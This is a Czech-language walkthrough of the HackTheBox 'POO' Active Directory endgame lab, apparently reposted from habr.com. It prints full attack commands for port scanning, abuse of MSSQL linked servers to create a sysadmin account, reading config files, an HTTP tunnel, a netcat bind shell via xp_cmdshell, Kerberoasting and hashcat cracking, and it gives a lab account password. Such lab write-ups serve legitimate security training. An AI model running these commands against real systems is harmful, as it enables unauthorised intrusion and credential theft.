V tomto článku budeme analyzovat průchod nejen stroje, ale celé minilaboratoře z místa
Jak je uvedeno v popisu, POO je určen k testování dovedností ve všech fázích útoků v malém prostředí Active Directory. Cílem je kompromitovat dostupného hostitele, eskalovat oprávnění a nakonec kompromitovat celou doménu shromážděním 5 příznaků v procesu.
Spojení s laboratoří je přes VPN. Doporučuje se nepřipojovat se z fungujícího počítače nebo z hostitele, kde jsou pro vás důležitá data, protože se dostanete do privátní sítě s lidmi, kteří o informační bezpečnosti něco vědí 🙂
organizační informace
Abyste se mohli dozvědět o nových článcích, softwaru a dalších informacích, vytvořil jsem
Veškeré informace jsou poskytovány pouze pro vzdělávací účely. Autor tohoto dokumentu nepřebírá žádnou odpovědnost za jakékoli škody způsobené komukoli v důsledku použití znalostí a metod získaných studiem tohoto dokumentu.
Úvodní znělka
Tato koncová hra se skládá ze dvou strojů a obsahuje 5 vlajek.
Je také uveden popis a adresa dostupného hostitele.
Pojďme začít!
Průzkumná vlajka
Tento stroj má IP adresu 10.13.38.11, kterou přidám do /etc/hosts.
10.13.38.11 poo.htb
Prvním krokem je skenování otevřených portů. Protože skenování všech portů pomocí nmap trvá dlouho, udělám to nejprve pomocí masscan. Skenujeme všechny TCP a UDP porty z rozhraní tun0 rychlostí 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Nyní, abychom získali podrobnější informace o službách, které běží na portech, spusťte skenování s volbou -A.
nmap -A poo.htb -p80,1433
Máme tedy služby IIS a MSSQL. V tomto případě zjistíme skutečné DNS jméno domény a počítače. Na webovém serveru nás přivítá domovská stránka IIS.
Pojďme iterovat přes adresáře. K tomu používám gobuster. V parametrech udáváme počet streamů 128 (-t), URL (-u), slovník (-w) a rozšíření, která nás zajímají (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Máme tedy k dispozici HTTP autentizaci pro adresář /admin a také soubor úložiště služby .DS_Store. .DS_Store jsou soubory, které ukládají uživatelská nastavení pro složku, jako je seznam souborů, umístění ikon, vybraný obrázek na pozadí. Takový soubor může skončit v adresáři webového serveru webových vývojářů. Získáme tak informace o obsahu adresáře. K tomu můžete použít
python3 dsstore_crawler.py -i http://poo.htb/
Získáme obsah adresáře. Nejzajímavější je zde adresář /dev, ze kterého vidíme zdroje a db soubory ve dvou větvích. Ale můžeme použít prvních 6 znaků názvů souborů a adresářů, pokud je služba zranitelná vůči IIS ShortName. Tuto chybu zabezpečení můžete zkontrolovat pomocí
A najdeme jeden textový soubor, který začíná "poo_co". Nevěděl jsem, co dál, jednoduše jsem ze slovníku adresářů vybral všechna slova, která začínají na „co“.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
A iterujte s wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
A najděte to správné slovo! Podíváme se na tento soubor, uložíme přihlašovací údaje (soudě podle parametru DBNAME, jsou z MSSQL).
Odevzdáváme vlajku a postupujeme o 20 %.
Huh vlajka
Připojujeme se k MSSQL, já používám DBeaver.
V této databázi nenacházíme nic zajímavého, pojďme vytvořit SQL Editor a zkontrolovat, jací jsou uživatelé.
SELECT name FROM master..syslogins;
Máme dva uživatele. Pojďme zkontrolovat naše privilegia.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Neexistují tedy žádná privilegia. Podívejme se na propojené servery, psal jsem o této technice podrobně
SELECT * FROM master..sysservers;
Takže najdeme další SQL Server. Pojďme zkontrolovat provádění příkazů na tomto serveru pomocí openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
A můžeme dokonce vytvořit strom dotazů.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Faktem je, že když odešleme požadavek na propojený server, požadavek se provede v kontextu jiného uživatele! Podívejme se, jaký uživatelský kontext běží na propojeném serveru.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
A nyní se podívejme, v jakém kontextu je požadavek z propojeného serveru na náš vykonán!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Jedná se tedy o kontext DBO, který musí mít všechna oprávnění. Pojďme zkontrolovat oprávnění v případě požadavku z propojeného serveru.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Jak vidíte, máme všechna privilegia! Vytvořme našeho admina takto. Ale nepouštějí je přes openquery, udělejme to přes EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
A nyní se připojíme k přihlašovacím údajům nového uživatele, sledujeme novou databázi příznaků.
Odevzdáváme tuto vlajku a jdeme dále.
Zpětná vlajka
Pojďme získat shell pomocí MSSQL, já používám mssqlclient z balíčku impacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Potřebujeme získat hesla a první věc, se kterou jsme se již setkali, je stránka. Potřebujeme tedy konfiguraci webového serveru (nemůžeme hodit pohodlný shell, firewall zřejmě funguje).
Přístup je ale odepřen. Přestože můžeme číst soubor z MSSQL, potřebujeme vědět, jaké programovací jazyky jsou nakonfigurovány. A v adresáři MSSQL zjistíme, že existuje Python.
Pak není problém číst soubor web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
S nalezenými přihlašovacími údaji přejděte na /admin a vyzvedněte vlajku.
opěrná vlajka
Ve skutečnosti existují určité nepříjemnosti z používání brány firewall, ale při pohledu do nastavení sítě si všimneme, že se používá také protokol IPv6!
Přidejte tuto adresu do /etc/hosts.
dead:babe::1001 poo6.htb
Znovu prohledáme hostitele, ale tentokrát přes IPv6.
A služba WinRM je dostupná přes IPv6. Pojďme se spojit s nalezenými přihlašovacími údaji.
Na ploše je vlajka, předejte ji.
P00ned vlajka
Po rekognoskaci na hostiteli s
setspn.exe -T intranet.poo -Q */*
Proveďme příkaz přes MSSQL.
Tímto způsobem získáme SPN uživatelů p00_hr a p00_adm, což znamená, že jsou zranitelní vůči útoku, jako je Kerberoasting. Zkrátka můžeme získat hashe jejich hesel.
Nejprve musíte získat stabilní shell jménem uživatele MSSQL. Ale protože máme omezený přístup, máme spojení s hostitelem pouze přes porty 80 a 1433. Ale je možné tunelovat provoz přes port 80! K tomu používáme
Ale když se k němu pokusíme získat přístup, dostaneme chybu 404. To znamená, že soubory *.aspx se nespustí. Chcete-li spustit soubory s těmito příponami, nainstalujte ASP.NET 4.5 následovně.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
A nyní, když přistupujeme k tunnel.aspx, dostáváme odpověď, že vše je připraveno jít.
Spustíme klientskou část aplikace, která bude předávat provoz. Přesměrujeme veškerý provoz z portu 5432 na server.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
A používáme proxychains k odesílání provozu jakékoli aplikace prostřednictvím našeho proxy. Pojďme přidat tento proxy do konfiguračního souboru /etc/proxychains.conf.
Nyní nahrajeme program na server
Nyní prostřednictvím MSSQL spustíme posluchač.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
A připojujeme se přes náš proxy.
proxychains rlwrap nc poo.htb 4321
A pojďme získat hashe.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Dále musíte tyto hodnoty hash iterovat. Protože rockyou neměl slovník dat hesel, použil jsem VŠECHNY slovníky hesel poskytované v Seclists. Pro výčet používáme hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
A najdeme obě hesla, první ve slovníku dutch_passwordlist.txt a druhé v Keyboard-Combinations.txt.
A tak máme tři uživatele, jdeme na doménový řadič. Nejprve zjistíme jeho adresu.
Skvělé, dozvěděli jsme se IP adresu řadiče domény. Pojďme zjistit všechny uživatele domény a také, který z nich je správcem. Chcete-li stáhnout skript pro získání informací PowerView.ps1. Poté se připojíme pomocí evil-winrm, přičemž v parametru -s uvedeme adresář se skriptem. A pak stačí načíst skript PowerView.
Nyní máme přístup ke všem jeho funkcím. Uživatel p00_adm vypadá jako privilegovaný uživatel, takže budeme pracovat v jeho kontextu. Vytvořme pro tohoto uživatele objekt PSCredential.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Nyní budou všechny příkazy Powershell, kde zadáme Creds, provedeny jménem p00_adm. Zobrazme seznam uživatelů a atribut AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
A tak je náš uživatel opravdu privilegovaný. Podívejme se, do jakých skupin patří.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Nakonec potvrdíme, že uživatel je správcem domény. To mu dává právo se vzdáleně přihlásit k řadiči domény. Zkusme se přihlásit s WinRM pomocí našeho tunelu. Byl jsem zmaten chybami vydanými reGeorgem při použití evil-winrm.
Pak použijeme jiný, jednodušší,
Snažíme se připojit a jsme v systému.
Ale není tam žádná vlajka. Pak se podívejte na uživatele a zkontrolujte plochy.
U mr3ks najdeme vlajku a laboratoř je 100% dokončena.
To je vše. Jako zpětnou vazbu uveďte, zda jste se z tohoto článku dozvěděli něco nového a zda byl pro vás užitečný.
Můžete se k nám přidat na
Zdroj: www.habr.com